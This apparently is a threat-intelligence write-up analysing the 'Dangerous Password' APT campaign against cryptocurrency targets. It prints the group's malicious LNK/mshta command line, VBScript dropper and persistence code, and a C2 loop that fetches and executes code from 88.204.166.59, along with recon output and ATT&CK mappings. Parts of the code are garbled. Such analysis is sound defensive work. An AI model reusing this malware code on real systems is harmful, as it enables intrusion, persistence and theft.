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with ?topic=sXXXXX. On the site, whatever the URL, this redirects on another code to execute.", "anchor":"once-decoded-and-deobfuscated-we-can-see-this-check-if-pushed-argument-exists-before-launch-the-script-this-essential-due-to-the-url-to-contact-is-pushing-in-argument-this-use-random-call-for-get-a-random-number-for-add-a-random-suffix-with-topicsxxxxx-on-the-site-whatever-the-url-this-redirects-on-another-code-to-execute", "htmlText":"Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the script, this essential due to the URL to contact is pushing in argument. This use random call for get a random number for add a random suffix with ?topic=sXXXXX. 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Dangerous Password

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Malware analysis

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The initial vector is a executable RAR archive content a edited lnk, this writes the file in the temp folder and executes the remote code by mshta call.

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MachineID	IconFileName	CommandLineArguments	WorkingDirectory	LocalBasePath
desktop-mn3id9	C:\Windows\System32\shell32.dll	/c start /b %SystemRoot%\System32\mshta https://bit.ly/2UiZH6V	C:\Users\Public\Music\	C:\Windows\System32\cmd

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The Bitly link redirects to a fake cloud solution which usurps a legitim service. (.club instead of .fr)

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<html><n><head><title>Bitly</title></head><n><body><a href="http://www.cloudfiles.club:8080/edit?>
id=T8YJQTVktMp8W%2Bj/W5EvDwg1x0nw8evApd1RaERyZzz/Qzh2uXI/OIldzMTGaoc57qLEkLrpQt5RK8enWJAvaR%3D%3D" moved here</a></body><n></html>

\n
This executes a following Visual Basic code, the first two functions for decode the base 64 and create a stream object for manipulate data.

\n

<script language="vbscript"><n>function dbsc(tds)<n>with
CreateObject("Msxml2.DOMDocument").CreateElement("mic")<n>t.t.DataType="bin.base64"<n>t.Text=tds<n>t.tdbsc=appc(.NodeTypedVa
with<n>end function<n>function appc( ByVal bin)<n>twith CreateObject("ADODB.Stream")<n>t.t.Type=1<n>t.t.Open<n>t.t.Write
bin<n>t.t.Position=0<n>t.t.Type=2<n>t.t.CharSet="utf-8"<n>t.tappc=.ReadText<n>t.t.Close<n>tend with<n>end function

\n
Then this copy in the temp folder a file with a password and show it for the lure to the victim.

\n

pay_req="CMD.EXE /C \"\"ECHO risk2020>\"\"%TEMP%\Password.txt\"\"&NOTEPAD.EXE \"\"%TEMP%\Password.txt\"\"&DEL
\"\"%TEMP%\Password.txt\"\"\"\">nset wish=CreateObject("wscript.shell")<n>wish.Run pay_req,0,false

\n
The variable is reused for content the payload to execute in base 64 on the new persistence file by lnk file.

\n

pay_req="b24gZXJyb3IgcVzdW1lIG5leHQNCnJhbmrVbWl6ZQ0KaWYgV1Njcm1wdC5Bcmd1bWVudHMuTGVuZ3RoPjAgdGh1bg0KCUhUUUD0iaHQiDQoJdXU9SFRQJiJ0cI

\n
Then, this creates the persistence previous said and use the same TTPs in using a lnk file with a mshta call.

\n

set fob=CreateObject("Scripting.FileSystemObject")<n>path_persistence=fob.GetSpecialFolder(2)&"\\Xbox.lnk"\nSet
tcl=wish.CreateShortcut(path_persistence)\ntcl.TargetPath="mshta\">ncl.Arguments="https://bit.ly/3dr8YBv"\npath_file=fob.GetSpec
btf=fob.OpenTextFile(path_file,2,true)<n>btf.Write dbsc(pay_req)<n>btf.Close()

\n
The part of the code check by WMI request the process executed on the PC, modify the strategy in function of detection for avoid to be detected by the AV.
Execute the next stage of the persistence.

\n

list_process="\">nset wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2")<n>set
wmirequest=wmi.ExecQuery("Select * from Win32_Process")<n>for each obj in
wmirequest<n>tlist_process=list_process&LCASE(obj.Name)&"|\">nnext<n>npprot -> npprot.exe -> Net Protector (Indian AV)\n'kwsprot
->kwsprotect64.exe -> Kingsoft Antivirus (Chinese AV)\nnex="ws"\nif Instr(list_process,"kwsprot")>0 or
Instr(list_process,"npprot")>0 then<n>tex="cs"\nend if<n>nln="start /b "&ex&"cript \"\"\"&path_file&\"\""
"+"88.204.166.59:8080/edit"\nln2=" & move \"\"\"&path_persistence&\"\"\" \"\"\"& wish.SpecialFolders("startup")
&"\"\"\""\nln1=qhsafe -> QHSafeTray.exe -> Qihoo 360 Total Security (Chinese AV)\n'hudongf -> zhudongfangyu.exe -> Qihoo 360
security (Chinese AV)\nif Instr(list_process,"hudongf")>0 or Instr(list_process,"qhsafe")>0 then<n>tln2=" & del
\"\"\"&path_persistence&\"\"\""\nelse<n>tcl.Save<n>end if<n>nwish.run "CMD.EXE /c \" & ln&" 1" & \" & ln&" 2" &
ln2,0, false<n>window.close</script>

\n
Once decoded and deobfuscated, we can see this check if pushed argument exists before launch the script, this essential due to the URL to contact is pushing in
argument. This use random call for get a random number for add a random suffix with ?topic=sXXXXX. On the site, whatever the URL, this redirects on another
code to execute.

\n

on error resume next<n>randomize<n>if WScript.Arguments.Length>0 then<n>turl="http://"&WScript.Arguments.Item(0)<n>tset
whr=CreateObject("WinHttp.WinHttpRequest.5.1")<n>tdo while true<n>ttrtc="\">n>t.tpc=url&"?
topic=s"&Int(1000*rnd+9000)<n>twhr.Open "POST", tpc, false<n>twhr.Send "200"\n>tif whr.Status=200
Then<n>t.t.trtc=whr.ResponseText<n>tend if<n>t.tif rtc<>"> then<n>t.t.Execute(rtc)<n>t.t.exit do<n>t.tend
if<n>t.tWScript.Sleep 180000 ' 50 min<n>tloop<n>end if

\n
The new bitly link redirect to a new domain witch usurp the Microsoft update domain, this load in memory the Visual Basic code to execute

\n

<html><n><head><title>Bitly</title></head><n><body><a href="http://www.msupdatepms.xyz:8080/edit?>
id=WOR%2BQhmDavXldv2sjyh%2BT0j4LYqP0ZVKAenNEEfEwIjzActclow3fxmuRtjNCZL0orvvKik5oXLS5W%2Bg45Hqa%3D%3D" moved here</a></body><n></html>

\n
The first three functions of the code is for parse the code send by the C2 to execute on the PC, decode with base 64 and xor the code.

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on error resume next\nfunction NStep(cmd)
\n\ttn=0\n\ttt=0\n\tStep=\\"\"\n\tret=\\"\"\n\tInStr(1,cmd, "#")\n\tsUri=Mid(cmd,n+1,Len(cmd)-n)\n\turi=sUri&"?
topic=v\&CStr(randID())&\&session=\&uID\n\tdo while 1>0\n\t\tret=uget(uri)\n\t\tif ret=\\"\" then\n\t\t\ttif t=10
then\n\t\t\texit function\n\t\t\tif n\t\ttt=t+1\n\t\telse\n\t\t\texit do\n\t\t\ttend if\n\t\t\twScript.Sleep
60*1000\n\tloop\n\tInStr(1,ret, "#")\n\ttk=CLng("h" & Mid(ret,1,n-1))\n\tpsc=Mid(ret,n+1,Len(ret)-n)\n\tsc=bdec(psc)\n\tpsc=CStr(xdec(sc,k))\n\tStep=bdec(psc)\nend function\nfunction bdec(c)\n\tOn Error Resume Next\n\tconst
Base64 = "ABCDEFHJKLNMOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\n\tdataLength, sOut, groupBegin\n\tc = Replace(c,
vbCrLf, "\r\n")\n\ttc = Replace(c, vbTab, "\t")\n\ttc = Replace(c, " ", "")\n\tdataLength = Len(c)\n\tif dataLength Mod 4 <> 0
then\n\t\texit function\n\t\tend if\n\tfor groupBegin = 1 to dataLength step 4\n\t\tdataBytes, CharCounter, thisChar,
thisData, nGroup, pOut\n\t\tgroupBegin = 0\n\t\tfor CharCounter = 0 to 3\n\t\t\tthisChar = Mid(c, groupBegin +
CharCounter, 1)\n\t\t\tif thisChar = "=" then\n\t\t\t\ttnumDataBytes = numDataBytes - 1\n\t\t\t\ttthisData =
0\n\t\t\t\telse\n\t\t\t\t\ttthisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1\n\t\t\t\ttend if\n\t\t\t\tif tthisData = -1
then\n\t\t\t\t\texit function\n\t\t\t\tend if\n\t\t\t\ttnGroup = 64 * nGroup + thisData\n\t\t\t\ttnext\n\t\t\t\ttnGroup = Hex(nGroup)\n\t\t\t\ttnGroup =
String(6 - Len(nGroup), "0") & nGroup\n\t\t\t\ttPout = Chr(CByte("H" & Mid(nGroup, 1, 2)))\n\t\t\t\ttPout = pOut & Chr(CByte("H" &
Mid(nGroup, 3, 2)))\n\t\t\t\ttPout = pOut & Chr(CByte("H" & Mid(nGroup, 5, 2)))\n\t\t\t\ttSOut = sOut & Left(pOut,
numDataBytes)\n\t\t\t\ttNext\n\t\t\t\ttbdec = sOut\nend function\nfunction xdec(input, pkey)\n\ttxdec=\\"\"\n\tfor i=1 to
Len(input)\n\t\ttxdec=xdec+chr(asc(mid(input, i, 1)) Xor pkey)\n\t\ttNext\nend function

```

\n
The three next functions use WMI requests for getting more informations about the system.

\n

\n
The next functions are used for randomizing the ID and session and format the date to string

\n

```

function rand()\n\trandomize\n\trand=Int(90000000*rnd)+10000000\nend function\nfunction
randID()\n\trandomize\n\trandID=Int(1000*rnd)\nend function\nfunction GetFormattedDate (sDate)\n\tstrDate = CDate(sDate)\n\n\tstrDay = DatePart("d", strDate)\n\tstrMonth = DatePart("m", strDate)\n\tstrYear = DatePart("yyyy", strDate)\n\tif strDay < 10
then\n\t\tstrDay = "\\"0\\" & strDay\n\tend if\n\tif strMonth < 10 then\n\t\tstrMonth = "\\"0\\" & strMonth\n\tend if\n\tGetFormattedDate
= strMonth & "/" & strDay & "/" & strYear\nend function

```

\n The last functions are used for sending the informations founded to the C2 and receive the reply of the C2

\n

```

function post(u,content)\n\t\ton error resume next\n\tset hReq=CreateObject("MSXML2.XMLHTTP")\n\tul=u & "\&isbn=\\" &
(timer()*100)\n\t\thReq.Open "POST", ul, false\n\t\thReq.Send content\n\tif hReq.Status=200 then\n\t\t\tpost=hReq.responseText\n\tend
if\nendif function\nfunction get(u)\n\t\ton error resume next\n\tset hrq=CreateObject("MSXML2.XMLHTTP")\n\tul=u & "\&id=\\" &
(timer()*100)\n\t\thrq.Open "GET", ul, false\n\t\thrq.Send\n\tif hrq.Status=200 then\n\t\t\туget=hrq.responseText\n\tend
if\nendif
function

```

\n

The main code launches the recon action on the system and format for request in clear the informations to the C2, in function of the response of the C2, this executes commands on the system, in clear or with base 64 + substrings operations as obfuscation.

\n

\n

We can list the codes used for the communications to the C2 and implant :

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Note : # is a wildcard in VBA for matches with any digit character

Code	Description
20#	Execute commands in clear
21	Exit Session
22	OK received informations (debug commands)
23#	Execute commands with base 64 + substrings operations as obfuscation

\n

We can see on the informations send in clear to the C2 that the list of informations rest the same since mid 2019.

\n

Current Time:\t3/31/2020 3:31:37 AM\nUsername:\tUSER-PC\administrator\nHostname:\tUSER-PC\nOS Name:\tMicrosoft Windows 7 Professional 32-bit\nOS Version:\t6.1.7601\nInstall Date:\t10/05/2017\nBoot Time:\t3/31/2020 12:28:48 AM\nTime Zone:\t(UTC 1 hours) GMT Standard
Time\nCPU:\tIntel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64)\nPath:
\tC:\Users\administrator\AppData\Local\Temp\iilbat.vbs\nNetwork Adapter:\tIntel(R) PRO/1000 MT Network Connection\n MAC Address:\t[MAC]\n IP Address:\t192.168.X.X [MAC]\n Subnet Mask:\t255.255.255.0,64\n Default Gateway:\t192.168.X.X\n DNS Server:\t192.168.X.X\n264\t0\tsmss.exe\n344\t0\tsrss.exe\n380\t0\twininit.exe\n388\t1\tsrss.exe\n428\t1\twinlogon.exe\n472\t0\tservices.exe\n484\t0\tsass.exe\n492\t0\tlsm.exe\n1188\t0\tspoolsv.exe\n1364\t0\tIMEDICTUPDATE.EXE\n1428\t0\tqemu-ga.exe\n1968\t1\t"taskhost.exe"\n1984\t1\ttaskeng.exe {DE21909D-DEE6-419E-AF8D-D6899DCE61F7}\n2044\t1\t"C:\Windows\System32\dwm.exe"\n372\t1\tC:\Windows\Explorer.EXE\n652\t1\tC:\System32\ctfmon.exe\n1120\t0\tSearchIndexer.exe\n1932\t1\t"windelan.exe"\n2730\t1\tC:\Program Files\WinRAR\WinRAR.exe"\nC:\Users\administrator\AppData\Local\Temp\3249e2eb1aa628dcf7c83062463bc6bad36515b130e760333da98ea8ffd362e.rar"\n1720\t1\tC:\Windows\System32\cmd.exe" /C "\ECHO risk2020>C:\Users\administrator\AppData\Local\Temp>Password.txt&NOTEPAD.EXE C:\Users\administrator\AppData\Local\Temp\Password.txt&DEL C:\Users\administrator\AppData\Local\Temp\Password.txt"\n3020\t1\t\?\nC:\Windows\system32\conhost.exe "1233334231726783925-1766655123-1154929739-1178529684175521206-10630235841853906928\n680\t1\tNOTEPAD.EXE
C:\Users\administrator\AppData\Local\Temp\Password.txt\n588\t0\twmiPrvSE.exe\n3292\t1\twsrscript\n"C:\Users\administrator\AppData\Local\Temp\iilbat.vbs" 88.204.166.59:8080/edit 1 \n3284\t1\twsrscript\n"C:\Users\administrator\AppData\Local\Temp\iilbat.vbs" 88.204.166.59:8080/edit 2 \n

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According with the analysis of the Japanese CERT (June 2019), the list is the same :

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- \n

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- Hostname

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- OS version

\n

- OS install date

\n

- OS runtime

\n

- Timezone

- CPU name
 \n
 - Execution path of vbs file
 \n
 - Network adapter information
 \n
 - List of running processes
 \n

\n

On the opendir, like the last observations on the group, legit VNC binaries can be found, this indicates that the group have kept the same TTPs for the extraction of the data. This high probable that the group do manual actions for reduce the security measures and execute the tools for obtain the data on the crypto-occurencies.

\n

China doesn't recognize cryptocurrencies as legal tender and the banking system isn't accepting cryptocurrencies or providing relevant services for trading in place since September 2017. The Chinese government has recently promoted a law facilitating the transition to the exchange of a virtual currency led by the state, this change explained why since the campaign of January, China is now in the focus of the Asian countries targeted by the group (the announcement also caused an increase in bitcoins and these derivative currencies). The TTPs of the group are the same since mid 2019 and rest focus on the steal of the crypto-occurrences.

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Cyber kill chain

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This process graph represent the cyber kill chain used by the attacker.

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Indicators Of Compromise (IOC)

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The IOC can be exported in [JSON](#) and [CSV](#)

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References MITRE ATT&CK Matrix

Enterprise tactics	Technics used	Ref URL
Execution	Command-Line Interface Scripting Mshta	https://attack.mitre.org/techniques/T1059/ https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1170/
Defense Evasion	Scripting Install Root Certificate Mshta	https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1130/ https://attack.mitre.org/techniques/T1170/
Discovery	Query Registry	https://attack.mitre.org/techniques/T1012/

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This can be exported as JSON format [Export in JSON](#)

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Links

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Original tweet:

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https://twitter.com/Rmy_Reserve/status/1244817235211739141

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\n

Links Anyrun:

\n\n
<https://app.any.run/tasks/67ebd848-26f8-4cb3-9a1f-8ff4f3a0c12e>
\n\n
Articles
\n\n
• [Spear Phishing against Cryptocurrency Businesses](#)
\n• [\[Chinese\]The Nightmare of Global Cryptocurrency Companies: Demystifying APT Group's \"Dangerous Passwords\"](#)
\n• [China Enacts Crypto Law in Run-Up to State Digital Currency Debut](#)
\n\n\n", "renderedFileInfo": null, "tabSize": 8, "topBannersInfo": {"overridingGlobalFundingFile": false, "globalPreferredFundingPath": null, "repoOwner": "StrangereallIntel", "repoName": "CyberThreatIntel", "showInvali cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files", "showDependabotConfigurationBanner": false, "actionsOnboardingTip": null}, "truncated": false, "viewable": true, "workflowRedirectUrl": null, "symbols": {"timedOut": false, "notAnalyzed": true, "symbols": []}, "copilotAccessInfo": null, "csrf_tokens": {"/StrangereallIntel/CyberThreatIntel/branches": {"post": "7z2tA0viEAm2WDF32vljqpgJL5PiM_D3s1XbpxTS8GqR5DZt08HQe7WEZMFLuJ90HXUr1kY-u8FrMe04oYg!Eg"}}, "title": "CyberThreatIntel/offshore APT organization/DangerousPassword/2020-04-02/Analysis.md at master · StrangereallIntel/CyberThreatIntel", "locale": "en"}
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